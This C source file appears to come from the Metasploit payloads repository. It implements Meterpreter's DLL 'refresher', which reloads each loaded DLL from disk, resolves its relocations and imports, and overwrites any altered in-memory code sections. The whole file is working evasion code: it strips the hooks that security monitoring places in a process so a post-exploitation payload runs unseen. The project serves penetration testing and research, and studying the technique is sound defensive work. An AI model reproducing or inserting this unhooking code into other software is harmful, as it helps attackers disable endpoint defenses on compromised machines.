1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-04-30 13:07:22 +02:00
2019-11-07 17:19:16 +01:00

516 lines
19 KiB
C

#include "refresh.h"
#include "apisetmap.h"
#include "../../common/common.h"
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.h"
void RefreshPE()
{
HMODULE hModule;
PWSTR wszFullDllName;
PWSTR wszBaseDllName;
ULONG_PTR pDllBase;
PLDR_DATA_TABLE_ENTRY pLdteHead = NULL;
PLDR_DATA_TABLE_ENTRY pLdteCurrent = NULL;
dprintf("[REFRESH] Running DLLRefresher");
pLdteHead = GetInMemoryOrderModuleList();
pLdteCurrent = pLdteHead;
do {
if (pLdteCurrent->FullDllName.Length > 2)
{
wszFullDllName = pLdteCurrent->FullDllName.pBuffer;
wszBaseDllName = pLdteCurrent->BaseDllName.pBuffer;
pDllBase = (ULONG_PTR)pLdteCurrent->DllBase;
dprintf("[REFRESH] Refreshing DLL: %S", wszFullDllName);
hModule = CustomLoadLibrary(wszFullDllName, wszBaseDllName, pDllBase);
if (hModule)
{
ScanAndFixModule((PCHAR)hModule, (PCHAR)pDllBase, wszBaseDllName);
VirtualFree(hModule, 0, MEM_RELEASE);
}
}
pLdteCurrent = (PLDR_DATA_TABLE_ENTRY)pLdteCurrent->InMemoryOrderModuleList.Flink;
} while (pLdteCurrent != pLdteHead);
}
HMODULE CustomLoadLibrary(const PWCHAR wszFullDllName, const PWCHAR wszBaseDllName, ULONG_PTR pDllBase)
{
// File handles
HANDLE hFile = INVALID_HANDLE_VALUE;
HANDLE hMap = NULL;
PCHAR pFile = NULL;
// PE headers
PIMAGE_DOS_HEADER pDosHeader;
PIMAGE_NT_HEADERS pNtHeader;
PIMAGE_SECTION_HEADER pSectionHeader;
// Library
PCHAR pLibraryAddr = NULL;
DWORD dwIdx;
// Relocation
PIMAGE_DATA_DIRECTORY pDataDir;
PIMAGE_BASE_RELOCATION pBaseReloc;
ULONG_PTR pReloc;
DWORD dwNumRelocs;
ULONG_PTR pInitialImageBase;
PIMAGE_RELOC pImageReloc;
// Import
PIMAGE_IMPORT_DESCRIPTOR pImportDesc;
PCHAR szDllName;
SIZE_T stDllName;
PWSTR wszDllName = NULL;
PWCHAR wsRedir = NULL;
PWSTR wszRedirName = NULL;
SIZE_T stRedirName;
SIZE_T stSize;
HMODULE hModule;
PIMAGE_THUNK_DATA pThunkData;
FARPROC* pIatEntry;
// clr.dll hotpatches itself at runtime for performance reasons, so skip it
if (wcscmp(L"clr.dll", wszBaseDllName) == 0)
goto cleanup;
dprintf("[REFRESH] Opening file: %S", wszFullDllName);
// ----
// Step 1: Map the file into memory
// ----
hFile = CreateFileW(wszFullDllName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
goto cleanup;
hMap = CreateFileMappingW(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
if (hMap == NULL)
goto cleanup;
pFile = (PCHAR)MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);
if (pFile == NULL)
goto cleanup;
// ----
// Step 2: Parse the file headers and load it into memory
// ----
pDosHeader = (PIMAGE_DOS_HEADER)pFile;
pNtHeader = (PIMAGE_NT_HEADERS)(pFile + pDosHeader->e_lfanew);
// allocate memory to copy DLL into
dprintf("[REFRESH] Allocating memory for library");
pLibraryAddr = (PCHAR)VirtualAlloc(NULL, pNtHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// copy header
dprintf("[REFRESH] Copying PE header into memory");
memcpy(pLibraryAddr, pFile, pNtHeader->OptionalHeader.SizeOfHeaders);
// copy sections
dprintf("[REFRESH] Copying PE sections into memory");
pSectionHeader = (PIMAGE_SECTION_HEADER)(pFile + pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS));
for (dwIdx = 0; dwIdx < pNtHeader->FileHeader.NumberOfSections; dwIdx++)
{
memcpy(pLibraryAddr + pSectionHeader[dwIdx].VirtualAddress,
pFile + pSectionHeader[dwIdx].PointerToRawData,
pSectionHeader[dwIdx].SizeOfRawData);
}
// update our pointers to the loaded image
pDosHeader = (PIMAGE_DOS_HEADER)pLibraryAddr;
pNtHeader = (PIMAGE_NT_HEADERS)(pLibraryAddr + pDosHeader->e_lfanew);
// ----
// Step 3: Calculate relocations
// ----
dprintf("[REFRESH] Calculating file relocations");
pDataDir = &pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
pInitialImageBase = pNtHeader->OptionalHeader.ImageBase;
// set the ImageBase to the already loaded module's base
pNtHeader->OptionalHeader.ImageBase = pDllBase;
// check if their are any relocations present
if (pDataDir->Size)
{
// calculate the address of the first IMAGE_BASE_RELOCATION entry
pBaseReloc = (PIMAGE_BASE_RELOCATION)(pLibraryAddr + pDataDir->VirtualAddress);
// iterate through each relocation entry
while ((PCHAR)pBaseReloc < (pLibraryAddr + pDataDir->VirtualAddress + pDataDir->Size) && pBaseReloc->SizeOfBlock)
{
// the VA for this relocation block
pReloc = (ULONG_PTR)(pLibraryAddr + pBaseReloc->VirtualAddress);
// number of entries in this relocation block
dwNumRelocs = (pBaseReloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);
// first entry in the current relocation block
pImageReloc = (PIMAGE_RELOC)((PCHAR)pBaseReloc + sizeof(IMAGE_BASE_RELOCATION));
// iterate through each entry in the relocation block
while (dwNumRelocs--)
{
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
// we subtract the initial ImageBase and add in the original dll base
if (pImageReloc->type == IMAGE_REL_BASED_DIR64)
{
*(ULONG_PTR *)(pReloc + pImageReloc->offset) -= pInitialImageBase;
*(ULONG_PTR *)(pReloc + pImageReloc->offset) += pDllBase;
}
else if (pImageReloc->type == IMAGE_REL_BASED_HIGHLOW)
{
*(DWORD *)(pReloc + pImageReloc->offset) -= (DWORD)pInitialImageBase;
*(DWORD *)(pReloc + pImageReloc->offset) += (DWORD)pDllBase;
}
else if (pImageReloc->type == IMAGE_REL_BASED_HIGH)
{
*(WORD *)(pReloc + pImageReloc->offset) -= HIWORD(pInitialImageBase);
*(WORD *)(pReloc + pImageReloc->offset) += HIWORD(pDllBase);
}
else if (pImageReloc->type == IMAGE_REL_BASED_LOW)
{
*(WORD *)(pReloc + pImageReloc->offset) -= LOWORD(pInitialImageBase);
*(WORD *)(pReloc + pImageReloc->offset) += LOWORD(pDllBase);
}
// get the next entry in the current relocation block
pImageReloc = (PIMAGE_RELOC)((PCHAR)pImageReloc + sizeof(IMAGE_RELOC));
}
// get the next entry in the relocation directory
pBaseReloc = (PIMAGE_BASE_RELOCATION)((PCHAR)pBaseReloc + pBaseReloc->SizeOfBlock);
}
}
// ----
// Step 4: Update import table
// ----
dprintf("[REFRESH] Resolving Import Address Table (IAT) ");
pDataDir = &pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
if (pDataDir->Size)
{
pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)(pLibraryAddr + pDataDir->VirtualAddress);
while (pImportDesc->Characteristics)
{
hModule = NULL;
wszDllName = NULL;
szDllName = (PCHAR)(pLibraryAddr + pImportDesc->Name);
stDllName = strnlen(szDllName, MAX_PATH);
wszDllName = (PWSTR)calloc(stDllName + 1, sizeof(WCHAR));
if (wszDllName == NULL)
goto next_import;
mbstowcs_s(&stSize, wszDllName, stDllName + 1, szDllName, stDllName);
dprintf("[REFRESH] Loading library: %S", wszDllName);
// If the DLL starts with api- or ext-, resolve the redirected name and load it
if (_wcsnicmp(wszDllName, L"api-", 4) == 0 || _wcsnicmp(wszDllName, L"ext-", 4) == 0)
{
// wsRedir is not null terminated
wsRedir = GetRedirectedName(wszBaseDllName, wszDllName, &stRedirName);
if (wsRedir)
{
// Free the original wszDllName and allocate a new buffer for the redirected dll name
free(wszDllName);
wszDllName = (PWSTR)calloc(stRedirName + 1, sizeof(WCHAR));
if (wszDllName == NULL)
goto next_import;
memcpy(wszDllName, wsRedir, stRedirName * sizeof(WCHAR));
dprintf("[REFRESH] Redirected library: %S", wszDllName);
}
}
// Load the module
hModule = CustomGetModuleHandleW(wszDllName);
// Ignore libraries that fail to load
if (hModule == NULL)
goto next_import;
if (pImportDesc->OriginalFirstThunk)
pThunkData = (PIMAGE_THUNK_DATA)(pLibraryAddr + pImportDesc->OriginalFirstThunk);
else
pThunkData = (PIMAGE_THUNK_DATA)(pLibraryAddr + pImportDesc->FirstThunk);
pIatEntry = (FARPROC*)(pLibraryAddr + pImportDesc->FirstThunk);
// loop through each thunk and resolve the import
for(; DEREF(pThunkData); pThunkData++, pIatEntry++)
{
if (IMAGE_SNAP_BY_ORDINAL(pThunkData->u1.Ordinal))
*pIatEntry = CustomGetProcAddressEx(hModule, (PCHAR)IMAGE_ORDINAL(pThunkData->u1.Ordinal), wszDllName);
else
*pIatEntry = CustomGetProcAddressEx(hModule, ((PIMAGE_IMPORT_BY_NAME)(pLibraryAddr + DEREF(pThunkData)))->Name, wszDllName);
}
next_import:
if (wszDllName != NULL)
{
free(wszDllName);
wszDllName = NULL;
}
pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((PCHAR)pImportDesc + sizeof(IMAGE_IMPORT_DESCRIPTOR));
}
}
cleanup:
if (pFile != NULL)
UnmapViewOfFile(pFile);
if (hMap != NULL)
CloseHandle(hMap);
if (hFile != INVALID_HANDLE_VALUE)
CloseHandle(hFile);
return (HMODULE) pLibraryAddr;
}
HMODULE CustomGetModuleHandleW(const PWSTR wszModule)
{
HMODULE hModule = NULL;
PLDR_DATA_TABLE_ENTRY pLdteHead = NULL;
PLDR_DATA_TABLE_ENTRY pLdteCurrent = NULL;
dprintf("[REFRESH] Searching for loaded module: %S", wszModule);
pLdteCurrent = pLdteHead = GetInMemoryOrderModuleList();
do {
if (pLdteCurrent->FullDllName.Length > 2 &&
_wcsnicmp(wszModule, pLdteCurrent->BaseDllName.pBuffer, pLdteCurrent->BaseDllName.Length / 2) == 0)
{
return ((HMODULE)pLdteCurrent->DllBase);
}
pLdteCurrent = (PLDR_DATA_TABLE_ENTRY)pLdteCurrent->InMemoryOrderModuleList.Flink;
} while (pLdteCurrent != pLdteHead);
return LoadLibraryW(wszModule);
}
VOID ScanAndFixModule(PCHAR pKnown, PCHAR pSuspect, PWCHAR wszBaseDllName)
{
// PE headers
PIMAGE_DOS_HEADER pDosHeader;
PIMAGE_NT_HEADERS pNtHeader;
PIMAGE_SECTION_HEADER pSectionHeader;
DWORD dwIdx;
dprintf("[REFRESH] Scanning module: %S", wszBaseDllName);
pDosHeader = (PIMAGE_DOS_HEADER)pKnown;
pNtHeader = (PIMAGE_NT_HEADERS)(pKnown + pDosHeader->e_lfanew);
// Scan PE header
ScanAndFixSection("Header", pKnown, pSuspect, pNtHeader->OptionalHeader.SizeOfHeaders);
// Scan each section
pSectionHeader = (PIMAGE_SECTION_HEADER)(pKnown + pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS));
for (dwIdx = 0; dwIdx < pNtHeader->FileHeader.NumberOfSections; dwIdx++)
{
if (pSectionHeader[dwIdx].Characteristics & IMAGE_SCN_MEM_WRITE)
continue;
if (!((wcscmp(wszBaseDllName, L"clr.dll") == 0 && strcmp(pSectionHeader[dwIdx].Name, ".text") == 0)))
{
ScanAndFixSection((PCHAR)pSectionHeader[dwIdx].Name, pKnown + pSectionHeader[dwIdx].VirtualAddress,
pSuspect + pSectionHeader[dwIdx].VirtualAddress, pSectionHeader[dwIdx].Misc.VirtualSize);
}
}
}
VOID ScanAndFixSection(PCHAR szSectionName, PCHAR pKnown, PCHAR pSuspect, size_t stLength)
{
DWORD ddOldProtect;
if (memcmp(pKnown, pSuspect, stLength) != 0)
{
dprintf("[REFRESH] Found modification in: %s", szSectionName);
if (!VirtualProtect(pSuspect, stLength, PAGE_EXECUTE_READWRITE, &ddOldProtect))
return;
dprintf("[REFRESH] Copying known good section into memory.");
memcpy(pSuspect, pKnown, stLength);
if (!VirtualProtect(pSuspect, stLength, ddOldProtect, &ddOldProtect))
dprintf("[REFRESH] Unable to reset memory permissions");
}
}
// This code is modified from Stephen Fewer's GetProcAddress implementation
//===============================================================================================//
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
FARPROC WINAPI CustomGetProcAddressEx(HMODULE hModule, const PCHAR lpProcName, PWSTR wszOriginalModule)
{
UINT_PTR uiLibraryAddress = 0;
UINT_PTR uiAddressArray = 0;
UINT_PTR uiNameArray = 0;
UINT_PTR uiNameOrdinals = 0;
UINT_PTR uiFuncVA = 0;
PCHAR cpExportedFunctionName;
PCHAR szFwdDesc;
PCHAR szRedirFunc;
PWSTR wszDllName;
SIZE_T stDllName;
PWCHAR wsRedir;
PWSTR wszRedirName = NULL;
SIZE_T stRedirName;
HMODULE hFwdModule;
PIMAGE_NT_HEADERS pNtHeaders = NULL;
PIMAGE_DATA_DIRECTORY pDataDirectory = NULL;
PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL;
FARPROC fpResult = NULL;
DWORD dwCounter;
if (hModule == NULL)
return NULL;
// a module handle is really its base address
uiLibraryAddress = (UINT_PTR)hModule;
// get the VA of the modules NT Header
pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew);
pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
// get the VA of the export directory
pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(uiLibraryAddress + pDataDirectory->VirtualAddress);
// get the VA for the array of addresses
uiAddressArray = (uiLibraryAddress + pExportDirectory->AddressOfFunctions);
// get the VA for the array of name pointers
uiNameArray = (uiLibraryAddress + pExportDirectory->AddressOfNames);
// get the VA for the array of name ordinals
uiNameOrdinals = (uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals);
// test if we are importing by name or by ordinal...
#pragma warning(suppress: 4311)
if (((DWORD)lpProcName & 0xFFFF0000) == 0x00000000)
{
// import by ordinal...
// use the import ordinal (- export ordinal base) as an index into the array of addresses
#pragma warning(suppress: 4311)
uiAddressArray += ((IMAGE_ORDINAL((DWORD)lpProcName) - pExportDirectory->Base) * sizeof(DWORD));
// resolve the address for this imported function
fpResult = (FARPROC)(uiLibraryAddress + DEREF_32(uiAddressArray));
}
else
{
// import by name...
dwCounter = pExportDirectory->NumberOfNames;
while (dwCounter--)
{
cpExportedFunctionName = (PCHAR)(uiLibraryAddress + DEREF_32(uiNameArray));
// test if we have a match...
if (strcmp(cpExportedFunctionName, lpProcName) == 0)
{
// use the functions name ordinal as an index into the array of name pointers
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
uiFuncVA = DEREF_32(uiAddressArray);
// check for redirected exports
if (pDataDirectory->VirtualAddress <= uiFuncVA && uiFuncVA < (pDataDirectory->VirtualAddress + pDataDirectory->Size))
{
szFwdDesc = (PCHAR)(uiLibraryAddress + uiFuncVA);
// Find the first character after "."
szRedirFunc = strstr(szFwdDesc, ".") + 1;
stDllName = (SIZE_T)(szRedirFunc - szFwdDesc);
// Allocate enough space to append "dll"
wszDllName = (PWSTR)calloc(stDllName + 3 + 1, sizeof(WCHAR));
if (wszDllName == NULL)
break;
mbstowcs_s(NULL, wszDllName, stDllName + 1, szFwdDesc, stDllName);
memcpy(wszDllName + stDllName, L"dll", 3 * sizeof(WCHAR));
// check for a redirected module name
if (_wcsnicmp(wszDllName, L"api-", 4) == 0 || _wcsnicmp(wszDllName, L"ext-", 4) == 0)
{
wsRedir = GetRedirectedName(wszOriginalModule, wszDllName, &stRedirName);
if (wsRedir)
{
// Free the original buffer and allocate a new one for the redirected dll name
free(wszDllName);
wszDllName = (PWSTR)calloc(stRedirName + 1, sizeof(WCHAR));
if (wszDllName == NULL)
break;
memcpy(wszDllName, wsRedir, stRedirName * sizeof(WCHAR));
}
}
hFwdModule = GetModuleHandleW(wszDllName);
fpResult = CustomGetProcAddressEx(hFwdModule, szRedirFunc, wszDllName);
free(wszDllName);
}
else
{
// calculate the virtual address for the function
fpResult = (FARPROC)(uiLibraryAddress + uiFuncVA);
}
// finish...
break;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
}
return fpResult;
}